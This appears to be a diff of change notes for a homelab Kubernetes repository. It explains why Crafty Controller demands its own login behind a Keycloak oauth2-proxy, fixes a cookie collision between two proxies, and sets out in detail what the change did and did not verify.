+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.
